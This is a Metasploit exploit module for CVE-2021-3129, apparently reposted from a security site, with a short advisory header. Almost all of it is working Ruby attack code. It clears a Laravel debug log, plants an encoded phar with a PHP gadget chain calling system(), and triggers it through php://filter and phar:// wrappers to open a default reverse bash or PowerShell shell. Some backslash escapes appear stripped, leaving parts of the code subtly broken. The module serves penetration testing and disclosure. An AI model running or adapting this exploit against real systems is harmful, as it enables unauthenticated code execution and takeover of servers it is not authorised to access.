Authored by Heyder Andrade, ambionics | Site metasploit.com

Ignition versions prior to 2.5.2, as used in Laravel and other products, allows unauthenticated remote attackers to execute arbitrary code because of insecure usage of file_get_contents() and file_put_contents(). This is exploitable on sites using debug mode with Laravel before 8.4.2.

advisories | CVE-2021-3129

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Unauthenticated remote code execution in Ignition',
'Description' => %q{
Ignition before 2.5.2, as used in Laravel and other products,
allows unauthenticated remote attackers to execute arbitrary code
because of insecure usage of file_get_contents() and file_put_contents().
This is exploitable on sites using debug mode with Laravel before 8.4.2.
},
'Author' => [
'Heyder Andrade <eu[at]heyderandrade.org>', # module development and debugging
'ambionics' # discovered
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2021-3129'],
['URL', 'https://www.ambionics.io/blog/laravel-debug-rce']
],
'DisclosureDate' => '2021-01-13',
'Platform' => %w[unix linux macos win],
'Targets' => [
[
'Unix (In-Memory)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_bash' }
}
],
[
'Windows (In-Memory)',
{
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Type' => :win_memory,
'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/reverse_powershell' }
}
]
],
'Privileged' => false,
'DefaultTarget' => 0,
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS]
}
)
)
register_options([
OptString.new('TARGETURI', [true, 'Ignition execute solution path', '/_ignition/execute-solution']),
OptString.new('LOGFILE', [false, 'Laravel log file absolute path'])
])
end

def check
print_status("Checking component version to #{datastore['RHOST']}:#{datastore['RPORT']}")
res = send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'PUT'
}, 1)
# Check whether it is using facade/ignition
# If is using it should respond method not allowed
# checking if debug mode is enable
if res && res.code == 405 && res.body.match(/label:"(Debug)"/)
vprint_status 'Debug mode is enabled.'
# check version
versions = JSON.parse(
res.body.match(/.+"report":({.*),"exception_class/).captures.first.gsub(/$/, '}')
)
version = Rex::Version.new(versions['framework_version'])
vprint_status "Found PHP #{versions['language_version']} running Laravel #{version}"
# to be sure that it is vulnerable we could try to cleanup the log files (invalid and valid)
# but it is way more intrusive than just checking the version moreover we would need to call
# the find_log_file method before, meaning four requests more.
return Exploit::CheckCode::Appears if version <= Rex::Version.new('8.26.1')
end
return Exploit::CheckCode::Safe
end

def exploit
@logfile = datastore['LOGFILE'] || find_log_file
fail_with(Failure::BadConfig, 'Log file is required, however it was neither defined nor automatically detected.') unless @logfile

clear_log
put_payload
convert_to_phar
run_phar

handler

clear_log
end

def find_log_file
vprint_status 'Trying to detect log file'
res = post Rex::Text.rand_text_alpha_upper(12)
if res.code == 500 && res.body.match(%r{"file":"(/[^"]+?)/vendor/[^"]+?})
logpath = Regexp.last_match(1).gsub(//, '')
vprint_status "Found directory candidate #{logpath}"
logfile = "#{logpath}/storage/logs/laravel.log"
vprint_status "Checking if #{logfile} exists"
res = post logfile
if res.code == 200
vprint_status "Found log file #{logfile}"
return logfile
end
vprint_error "Log file does not exist #{logfile}"
return
end
vprint_error 'Unable to automatically find the log file. To continue set LOGFILE manually'
return
end

def clear_log
res = post "php://filter/read=consumed/resource=#{@logfile}"
# guard clause when trying to exploit a target that is not vulnerable (set ForceExploit true)
fail_with(Failure::UnexpectedReply, "Log file #{@logfile} doesn't seem to exist.") unless res.code == 200
end

def put_payload
post format_payload
post Rex::Text.rand_text_alpha_upper(2)
end

def convert_to_phar
filters = %w[
convert.quoted-printable-decode
convert.iconv.utf-16le.utf-8
convert.base64-decode
].join('|')

post "php://filter/write=#{filters}/resource=#{@logfile}"
end

def run_phar
post "phar://#{@logfile}/#{Rex::Text.rand_text_alpha_lower(4..6)}.txt"
# resp.body.match(%r{^(.*)n<!doctype html>})
# $1 ? print_good($1) : nil
end

def body_template(data)
{
solution: 'FacadeIgnitionSolutionsMakeViewVariableOptionalSolution',
parameters: {
viewFile: data,
variableName: Rex::Text.rand_text_alpha_lower(4..12)
}
}.to_json
end

def post(data)
send_request_cgi({
'uri' => normalize_uri(target_uri.path.to_s),
'method' => 'POST',
'data' => body_template(data),
'ctype' => 'application/json',
'headers' => {
'Accept' => '*/*',
'Accept-Encoding' => 'gzip, deflate'
}
})
end

def generate_phar(pop)
file = Rex::Text.rand_text_alpha_lower(8)
stub = "<?php __HALT_COMPILER(); ?>rn"
file_contents = Rex::Text.rand_text_alpha_lower(20)
file_crc32 = Zlib.crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest in bytes
phar << [0x1].pack('V') # number of files in the phar
phar << [0x11].pack('v') # api version of the phar manifest
phar << [0x10000].pack('V') # global phar bitmapped flags
phar << [0x0].pack('V') # length of phar alias
phar << [pop.length].pack('V') # length of phar metadata
phar << pop # pop chain
phar << [file.length].pack('V') # length of filename in the archive
phar << file # filename
phar << [file_contents.length].pack('V') # length of the uncompressed file contents
phar << [0x0].pack('V') # unix timestamp of file set to Jan 01 1970.
phar << [file_contents.length].pack('V') # length of the compressed file contents
phar << [file_crc32].pack('V') # crc32 checksum of un-compressed file contents
phar << [0x1b6].pack('V') # bit-mapped file-specific flags
phar << [0x0].pack('V') # serialized File Meta-data length
phar << file_contents # serialized File Meta-data
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
phar << [0x2].pack('V') # signiture type
phar << 'GBMB' # signature presence

return phar
end

def format_payload
# rubocop:disable Style/StringLiterals
serialize = "a:2:{i:7;O:31:"GuzzleHttpCookieFileCookieJar""
serialize << ":1:{S:41:"0GuzzleHttp5cCookie5cFileCookieJar0filename";"
serialize << "O:38:"IlluminateValidationRulesRequiredIf""
serialize << ":1:{S:9:"condition";a:2:{i:0;O:20:"PhpOptionLazyOption""
serialize << ":2:{S:30:"0PhpOption5cLazyOption0callback";"
serialize << "S:6:"system";S:31:"0PhpOption5cLazyOption0arguments";"
serialize << "a:1:{i:0;S:#{payload.encoded.length}:"#{payload.encoded}";}}i:1;S:3:"get";}}}i:7;i:7;}"
# rubocop:enable Style/StringLiterals
phar = generate_phar(serialize)

b64_gadget = Base64.strict_encode64(phar).gsub('=', '')
payload_data = b64_gadget.each_char.collect { |c| c + '=00' }.join

return Rex::Text.rand_text_alpha_upper(100) + payload_data + '=00'
end

end